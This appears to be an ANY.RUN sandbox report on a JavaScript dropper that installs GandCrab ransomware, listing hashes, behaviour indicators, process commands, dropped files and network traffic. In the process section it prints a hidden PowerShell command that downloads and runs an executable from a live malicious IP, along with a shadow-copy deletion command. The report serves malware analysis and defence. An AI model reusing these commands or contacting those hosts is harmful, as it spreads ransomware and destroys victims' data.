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File name:

Love_You_2019_-1199928688-txt.js

Full analysis: https://app.any.run/tasks/df62f007-a4c8-4344-bbb6-5f83f4a5c8f2
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Analysis date: January 17, 2019, 20:34:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
trojan
ransomware
gandcrab
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, CR line terminators
MD5:

9941F4F101E0D49D8568CED9A54E2AF3

SHA1:

49664532850C8DEFE72B60419010534E8E16FAB0

SHA256:

1BDB69079FBB9B6D05C7468127E5DA4AA2B8AC50C2313F060AE80D7B84741746

SSDEEP:

192:PrVakvpjl/0qXpf4OYZAfOwHXUYnzReeA:PHh/0qXtzPOEXveeA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • TempUxs88.exe (PID: 4088)
      • winsvcs.exe (PID: 3288)
      • 3583839998.exe (PID: 3252)
    • Executes PowerShell scripts

      • cmd.exe (PID: 4068)
    • Changes the autorun value in the registry

      • TempUxs88.exe (PID: 4088)
    • Changes Security Center notification settings

      • winsvcs.exe (PID: 3288)
    • Disables Windows Defender Real-time monitoring

      • winsvcs.exe (PID: 3288)
    • Downloads executable files from IP

      • powershell.exe (PID: 2736)
      • winsvcs.exe (PID: 3288)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2736)
      • winsvcs.exe (PID: 3288)
    • Actions looks like stealing of personal data

      • 3583839998.exe (PID: 3252)
    • GandCrab keys found

      • 3583839998.exe (PID: 3252)
    • Disables Windows System Restore

      • winsvcs.exe (PID: 3288)
    • Writes file to Word startup folder

      • 3583839998.exe (PID: 3252)
    • Changes settings of System certificates

      • 3583839998.exe (PID: 3252)
    • Renames files like Ransomware

      • 3583839998.exe (PID: 3252)
    • Dropped file may contain instructions of ransomware

      • 3583839998.exe (PID: 3252)
    • Deletes shadow copies

      • 3583839998.exe (PID: 3252)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2736)
      • 3583839998.exe (PID: 3252)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2736)
      • TempUxs88.exe (PID: 4088)
      • winsvcs.exe (PID: 3288)
    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2980)
    • Starts itself from another location

      • TempUxs88.exe (PID: 4088)
    • Creates files in the program directory

      • 3583839998.exe (PID: 3252)
    • Reads the cookies of Mozilla Firefox

      • 3583839998.exe (PID: 3252)
    • Creates files like Ransomware instruction

      • 3583839998.exe (PID: 3252)
    • Adds / modifies Windows certificates

      • 3583839998.exe (PID: 3252)
  • INFO

    • Dropped object may contain TOR URL's

      • 3583839998.exe (PID: 3252)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
8
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start wscript.exe no specs cmd.exe no specs powershell.exe tempuxs88.exe winsvcs.exe #GANDCRAB 3583839998.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2980"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Love_You_2019_-1199928688-txt.js"C:\Windows\System32\WScript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
4068"C:\Windows\System32\cmd.exe" /c jRpZMybeFLGEwrkSDugsUoBvCcdxqTzP & powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','%temp%Uxs88.exe'); & start %temp%Uxs88.exeC:\Windows\System32\cmd.exeWScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2736powershell.exe -executionpolicy bypass -noprofile -w hidden $var = New-Object System.Net.WebClient; $var.Headers['User-Agent'] = 'Windows'; $var.downloadfile('http://92.63.197.153/mcdonalds.exe','C:\Users\admin\AppData\Local\TempUxs88.exe'); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4088C:\Users\admin\AppData\Local\TempUxs88.exe C:\Users\admin\AppData\Local\TempUxs88.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3288C:\Users\admin\66087085470750\winsvcs.exeC:\Users\admin\66087085470750\winsvcs.exe
TempUxs88.exe
User:
admin
Integrity Level:
MEDIUM
3252C:\Users\admin\AppData\Local\Temp\3583839998.exeC:\Users\admin\AppData\Local\Temp\3583839998.exe
winsvcs.exe
User:
admin
Integrity Level:
MEDIUM
2708"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe
3583839998.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3872C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exeservices.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
526
Read events
386
Write events
140
Delete events
0

Modification events

(PID) Process:(2980) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2980) WScript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2736) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(2736) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
Executable files
4
Suspicious files
431
Text files
318
Unknown types
9

Dropped files

PID
Process
Filename
Type
2736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V4V2P3NI3G8PVDCE33E9.temp
MD5:
SHA256:
32523583839998.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi
MD5:
SHA256:
32523583839998.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.jkielctf
MD5:
SHA256:
2736powershell.exeC:\Users\admin\AppData\Local\TempUxs88.exeexecutable
MD5:0673B159C2F01FADEADC3306F2BB5390
SHA256:5DF55A2D3F688735E0D530A7639DADAC3817D4B3F2972276FB3B046D381A9121
32523583839998.exeC:\JKIELCTF-DECRYPT.txttext
MD5:BB5D90D3A49CD486A1B01E8D2DCC532A
SHA256:6F359EF3DC6E93B1F393DD4B07358AC2FE7E05B5E75D72E0C022CBAE9A3E034B
3288winsvcs.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\1[1].exeexecutable
MD5:E387BD817E9B7F02FA9C2511CC345F12
SHA256:39514226B71AEBBE775AA14627C716973282CBA201532DF3F820A209D87F6DF9
32523583839998.exeC:\Config.Msi\JKIELCTF-DECRYPT.txttext
MD5:BB5D90D3A49CD486A1B01E8D2DCC532A
SHA256:6F359EF3DC6E93B1F393DD4B07358AC2FE7E05B5E75D72E0C022CBAE9A3E034B
2736powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20e718.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
32523583839998.exeC:\System Volume Information\SPP\OnlineMetadataCache\{05ed3515-06b3-48f6-8cf2-bf24b1bf0727}_OnDiskSnapshotProp
MD5:
SHA256:
32523583839998.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
20
TCP/UDP connections
5
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3288
winsvcs.exe
GET
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
malicious
2736
powershell.exe
GET
200
92.63.197.153:80
http://92.63.197.153/mcdonalds.exe
RU
executable
278 Kb
malicious
3288
winsvcs.exe
GET
200
92.63.197.153:80
http://92.63.197.153/s/1.exe
RU
executable
361 Kb
malicious
3288
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/3.exe
RU
html
178 b
malicious
3288
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
3288
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
3288
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/2.exe
RU
html
178 b
malicious
3288
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
3252
3583839998.exe
GET
301
138.201.162.99:80
http://www.kakaocorp.link/
DE
html
162 b
malicious
3288
winsvcs.exe
GET
404
92.63.197.153:80
http://92.63.197.153/s/4.exe
RU
html
178 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2736
powershell.exe
92.63.197.153:80
RU
malicious
3288
winsvcs.exe
92.63.197.153:80
RU
malicious
3252
3583839998.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
3252
3583839998.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
www.kakaocorp.link
  • 138.201.162.99
malicious

Threats

PID
Process
Class
Message
2736
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2736
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2736
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2736
powershell.exe
Misc activity
ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)
3288
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3288
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3288
winsvcs.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3288
winsvcs.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
3288
winsvcs.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3288
winsvcs.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info